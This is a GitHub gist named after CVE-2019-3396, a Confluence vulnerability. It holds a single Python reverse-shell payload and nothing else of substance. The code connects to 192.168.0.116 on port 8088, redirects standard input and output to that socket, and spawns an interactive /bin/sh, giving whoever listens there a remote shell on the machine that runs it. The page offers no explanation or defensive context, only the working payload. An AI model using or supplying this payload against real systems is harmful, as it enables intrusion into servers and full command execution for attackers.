Skip to content

Instantly share code, notes, and snippets.

@mylxsw
Created June 7, 2021 09:22
Show Gist options
  • Save mylxsw/299584d968d37bac2f42fc27c788760f to your computer and use it in GitHub Desktop.
Save mylxsw/299584d968d37bac2f42fc27c788760f to your computer and use it in GitHub Desktop.
cve-2019-3396-nc.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.116",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment